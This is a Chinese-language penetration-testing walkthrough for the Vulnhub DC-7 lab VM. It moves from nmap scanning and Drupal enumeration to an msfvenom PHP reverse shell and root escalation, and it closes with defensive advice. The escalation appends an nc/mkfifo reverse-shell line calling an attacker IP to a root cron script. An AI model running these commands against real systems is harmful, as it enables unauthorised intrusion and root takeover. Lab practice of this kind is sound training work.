Vulnhub靶机DC系列-DC7
字数 1285 2025-08-15 21:33:22
DC-7 靶机渗透教学文档
靶场介绍
DC-7 是 Vulnhub 上的一个故意设计为有漏洞的实验室环境,旨在提供渗透测试实践经验。这个挑战不需要过多技术性操作,但也不简单。它延续了之前 DC 系列靶机的逻辑进展,但引入了一些新概念。
关键特点:
- 需要"跳出常规思维"进行渗透
- 不需要暴力破解或字典攻击
- 最终目标是获取 root 权限并读取唯一 flag
- 需要 Linux 技能和基本渗透测试工具经验
环境搭建
- 从 Vulnhub 下载 DC-7 靶机镜像:DC-7 下载地址
- 使用 VMware 加载镜像,设置为桥接模式
信息收集
1. 发现靶机 IP
nmap -sn 192.168.3.0/24
2. 端口扫描和服务识别
nmap -sV -p- <靶机IP>
预期会发现 80 端口运行着 Drupal CMS
Web 应用渗透
1. 初步探测
- 访问
http://<靶机IP>查看 Drupal 网站 - 检查 robots.txt 文件
- 尝试访问 install.mysql 但会返回 403 错误
2. 版本识别
尝试识别 Drupal 版本,但直接搜索漏洞可能不会成功
3. 关键发现
在网站内容中搜索 @DC7USER,这可能会提供重要线索
4. 代码审计
下载网站代码进行审计,检查 config.php 文件中的数据库配置信息
权限提升路径
1. SSH 访问
尝试使用发现的凭据通过 SSH 登录
2. 邮件信息
检查 /var/mail 目录下的 mbox 邮件文件,发现提示:
/opt/scripts/backups.sh脚本路径
3. Drupal 管理员权限
使用发现的命令修改 Drupal 管理员密码:
drush user-password admin --password="新密码"
4. 获取反向 Shell
- 以管理员身份登录 Drupal
- 安装 PHP 模块(从 Drupal PHP 模块页面)
- 上传 PHP 反向 Shell:
- 可以使用 msfvenom 生成:
msfvenom -p php/meterpreter/reverse_tcp LHOST=<攻击机IP> LPORT=1234 -f raw - 或使用 Pentest Monkey 的 PHP 反向 Shell
- 可以使用 msfvenom 生成:
- 修改反向 Shell 代码中的 IP 和端口
- 上传并执行获取反向连接
提权到 root
1. 发现特权脚本
- 发现
/opt/scripts/backups.sh具有 root 权限但属于 www-data 组 - 当前用户 (www-data) 可以修改此脚本
2. 插入反向 Shell 命令
echo "mkfifo /tmp/bqro; nc <攻击机IP> 7373 0</tmp/bqro | /bin/sh >/tmp/bqro 2>&1; rm /tmp/bqro" >> /opt/scripts/backups.sh
3. 等待连接
在攻击机上监听:
nc -lvnp 7373
当 backups.sh 脚本执行时(可能是通过 cron 定时任务),将获得 root shell
4. 读取 flag
获取 root 权限后,在系统中查找并读取 flag 文件
关键要点总结
- 信息收集阶段要彻底,包括搜索隐藏的文本线索(如 @DC7USER)
- 代码审计是重要步骤,特别是配置文件
- 利用邮件等系统文件获取额外信息
- 通过修改具有 root 权限的脚本实现提权
- 整个过程不需要暴力破解,而是依靠系统分析和逻辑推理
防御建议
- 限制敏感信息在网页中的暴露
- 定期检查系统邮件和日志文件
- 严格控制具有 root 权限的脚本的修改权限
- 及时更新 CMS 和插件
- 限制 PHP 文件上传和执行能力